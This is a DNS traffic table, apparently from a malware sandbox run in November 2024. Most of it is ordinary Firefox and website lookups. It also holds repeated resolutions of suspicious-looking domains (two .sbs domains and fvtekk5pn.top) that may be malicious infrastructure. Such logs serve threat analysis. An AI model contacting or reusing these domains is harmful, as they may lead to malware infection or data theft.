Nov 23, 2024 15:30:06.252405882 CET	192.168.2.4	1.1.1.1	0x6275	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:30:07.474972010 CET	192.168.2.4	1.1.1.1	0xc76e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:30:07.616565943 CET	192.168.2.4	1.1.1.1	0x86be	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 15:22:13.980303049 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	disobey-curly.sbs		172.67.223.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:13.980303049 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	disobey-curly.sbs		104.21.70.128	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:28.387119055 CET	1.1.1.1	192.168.2.4	0x98f1	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:28.387119055 CET	1.1.1.1	192.168.2.4	0x98f1	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:47.682950974 CET	1.1.1.1	192.168.2.4	0x5613	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:47.683326006 CET	1.1.1.1	192.168.2.4	0x7354	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 15:22:51.284288883 CET	1.1.1.1	192.168.2.4	0x44eb	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:51.284780025 CET	1.1.1.1	192.168.2.4	0x1b1c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 15:22:51.302237034 CET	1.1.1.1	192.168.2.4	0xcdf4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:51.646342039 CET	1.1.1.1	192.168.2.4	0x4832	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:53.115087986 CET	1.1.1.1	192.168.2.4	0xea52	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:22:53.115087986 CET	1.1.1.1	192.168.2.4	0xea52	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:53.254575014 CET	1.1.1.1	192.168.2.4	0xf600	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:53.420703888 CET	1.1.1.1	192.168.2.4	0xa91b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 15:22:56.484405994 CET	1.1.1.1	192.168.2.4	0x2884	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:56.836860895 CET	1.1.1.1	192.168.2.4	0xefd	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:56.977193117 CET	1.1.1.1	192.168.2.4	0xa163	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:14.835164070 CET	1.1.1.1	192.168.2.4	0xcf99	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:14.835796118 CET	1.1.1.1	192.168.2.4	0x9863	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 15:23:17.411148071 CET	1.1.1.1	192.168.2.4	0x4b49	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:17.979757071 CET	1.1.1.1	192.168.2.4	0xd0e5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.108925104 CET	1.1.1.1	192.168.2.4	0xcd8b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.108925104 CET	1.1.1.1	192.168.2.4	0xcd8b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.108925104 CET	1.1.1.1	192.168.2.4	0xcd8b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:18.164885044 CET	1.1.1.1	192.168.2.4	0x86c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.164885044 CET	1.1.1.1	192.168.2.4	0x86c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.307099104 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.307099104 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.307099104 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:18.307099104 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.390571117 CET	1.1.1.1	192.168.2.4	0x6861	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.535686970 CET	1.1.1.1	192.168.2.4	0x1a19	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.535686970 CET	1.1.1.1	192.168.2.4	0x1a19	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.844965935 CET	1.1.1.1	192.168.2.4	0x6a31	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:24.844965935 CET	1.1.1.1	192.168.2.4	0x6a31	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.397895098 CET	1.1.1.1	192.168.2.4	0xb7b7	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.465071917 CET	1.1.1.1	192.168.2.4	0xe744	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:26.465071917 CET	1.1.1.1	192.168.2.4	0xe744	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.492788076 CET	1.1.1.1	192.168.2.4	0x5073	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:26.492788076 CET	1.1.1.1	192.168.2.4	0x5073	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:26.492788076 CET	1.1.1.1	192.168.2.4	0x5073	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.555509090 CET	1.1.1.1	192.168.2.4	0x69dd	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.631860018 CET	1.1.1.1	192.168.2.4	0xde87	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.637072086 CET	1.1.1.1	192.168.2.4	0x52f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.682862997 CET	1.1.1.1	192.168.2.4	0x730a	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:26.682862997 CET	1.1.1.1	192.168.2.4	0x730a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.776230097 CET	1.1.1.1	192.168.2.4	0xc116	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:26.786139011 CET	1.1.1.1	192.168.2.4	0xa8ea	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 15:23:26.891108036 CET	1.1.1.1	192.168.2.4	0x923b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.967423916 CET	1.1.1.1	192.168.2.4	0xb22a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.050144911 CET	1.1.1.1	192.168.2.4	0x9a8a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.058686018 CET	1.1.1.1	192.168.2.4	0xcf64	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:27.058686018 CET	1.1.1.1	192.168.2.4	0xcf64	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.118221045 CET	1.1.1.1	192.168.2.4	0xb5c7	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.118999958 CET	1.1.1.1	192.168.2.4	0xceef	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:27.118999958 CET	1.1.1.1	192.168.2.4	0xceef	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.329828024 CET	1.1.1.1	192.168.2.4	0xf009	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.389313936 CET	1.1.1.1	192.168.2.4	0x7a02	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.803838015 CET	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:27.803838015 CET	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:28.152676105 CET	1.1.1.1	192.168.2.4	0x2356	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:28.152676105 CET	1.1.1.1	192.168.2.4	0x2356	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:28.529834032 CET	1.1.1.1	192.168.2.4	0xd433	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:29.738862991 CET	1.1.1.1	192.168.2.4	0xc6b0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:29.738862991 CET	1.1.1.1	192.168.2.4	0xc6b0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.612243891 CET	1.1.1.1	192.168.2.4	0x9abb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.612243891 CET	1.1.1.1	192.168.2.4	0x9abb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.612287998 CET	1.1.1.1	192.168.2.4	0x9abb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.612287998 CET	1.1.1.1	192.168.2.4	0x9abb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702517033 CET	1.1.1.1	192.168.2.4	0xde3b	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702756882 CET	1.1.1.1	192.168.2.4	0x9784	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.702756882 CET	1.1.1.1	192.168.2.4	0x9784	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779676914 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779676914 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779676914 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779808998 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779808998 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:30.779808998 CET	1.1.1.1	192.168.2.4	0x3a2d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840607882 CET	1.1.1.1	192.168.2.4	0x558a	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.840840101 CET	1.1.1.1	192.168.2.4	0xd912	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.922756910 CET	1.1.1.1	192.168.2.4	0x362e	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.979907990 CET	1.1.1.1	192.168.2.4	0x1f07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:30.979907990 CET	1.1.1.1	192.168.2.4	0x1f07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:30.979907990 CET	1.1.1.1	192.168.2.4	0x1f07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:30.979907990 CET	1.1.1.1	192.168.2.4	0x1f07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:30.980989933 CET	1.1.1.1	192.168.2.4	0xd0c8	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 23, 2024 15:23:31.122112036 CET	1.1.1.1	192.168.2.4	0x5337	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:31.122112036 CET	1.1.1.1	192.168.2.4	0x5337	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.122112036 CET	1.1.1.1	192.168.2.4	0x5337	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.122112036 CET	1.1.1.1	192.168.2.4	0x5337	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.122112036 CET	1.1.1.1	192.168.2.4	0x5337	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.197237015 CET	1.1.1.1	192.168.2.4	0x20a8	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:31.197237015 CET	1.1.1.1	192.168.2.4	0x20a8	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.205399036 CET	1.1.1.1	192.168.2.4	0xab0e	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.336602926 CET	1.1.1.1	192.168.2.4	0xf511	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.339811087 CET	1.1.1.1	192.168.2.4	0x37a8	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.339811087 CET	1.1.1.1	192.168.2.4	0x37a8	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.339811087 CET	1.1.1.1	192.168.2.4	0x37a8	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.339811087 CET	1.1.1.1	192.168.2.4	0x37a8	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.344562054 CET	1.1.1.1	192.168.2.4	0x8aa5	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.579287052 CET	1.1.1.1	192.168.2.4	0xf98d	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 23, 2024 15:23:33.281975031 CET	1.1.1.1	192.168.2.4	0xaa69	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.281975031 CET	1.1.1.1	192.168.2.4	0xaa69	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.281975031 CET	1.1.1.1	192.168.2.4	0xaa69	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.281975031 CET	1.1.1.1	192.168.2.4	0xaa69	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.434673071 CET	1.1.1.1	192.168.2.4	0x8d6	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.434673071 CET	1.1.1.1	192.168.2.4	0x8d6	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.434673071 CET	1.1.1.1	192.168.2.4	0x8d6	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.434673071 CET	1.1.1.1	192.168.2.4	0x8d6	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.490518093 CET	1.1.1.1	192.168.2.4	0xfe2c	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:33.490518093 CET	1.1.1.1	192.168.2.4	0xfe2c	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.549866915 CET	1.1.1.1	192.168.2.4	0xfe2c	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:33.549866915 CET	1.1.1.1	192.168.2.4	0xfe2c	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.573543072 CET	1.1.1.1	192.168.2.4	0x115a	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 15:23:33.573543072 CET	1.1.1.1	192.168.2.4	0x115a	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 15:23:33.573543072 CET	1.1.1.1	192.168.2.4	0x115a	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 15:23:33.573543072 CET	1.1.1.1	192.168.2.4	0x115a	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 23, 2024 15:23:33.716114998 CET	1.1.1.1	192.168.2.4	0xa9fc	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:36.691884995 CET	1.1.1.1	192.168.2.4	0xcc64	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:36.691884995 CET	1.1.1.1	192.168.2.4	0xcc64	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:36.692045927 CET	1.1.1.1	192.168.2.4	0xcc64	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:36.692045927 CET	1.1.1.1	192.168.2.4	0xcc64	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:23:42.805685043 CET	1.1.1.1	192.168.2.4	0xa309	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:45.218192101 CET	1.1.1.1	192.168.2.4	0x820e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:45.726639986 CET	1.1.1.1	192.168.2.4	0xe0aa	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:58.566582918 CET	1.1.1.1	192.168.2.4	0x829b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:03.134984016 CET	1.1.1.1	192.168.2.4	0x24f7	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:06.990808010 CET	1.1.1.1	192.168.2.4	0x3433	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.108556986 CET	1.1.1.1	192.168.2.4	0x3ab1	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.108625889 CET	1.1.1.1	192.168.2.4	0x3ab1	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.129045010 CET	1.1.1.1	192.168.2.4	0x3ab1	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.272150040 CET	1.1.1.1	192.168.2.4	0x97ab	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.272161007 CET	1.1.1.1	192.168.2.4	0x97ab	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.287775040 CET	1.1.1.1	192.168.2.4	0x97ab	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.583066940 CET	1.1.1.1	192.168.2.4	0x867f	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.739026070 CET	1.1.1.1	192.168.2.4	0xd049	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:49.792469978 CET	1.1.1.1	192.168.2.4	0xadd6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:24:49.792469978 CET	1.1.1.1	192.168.2.4	0xadd6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
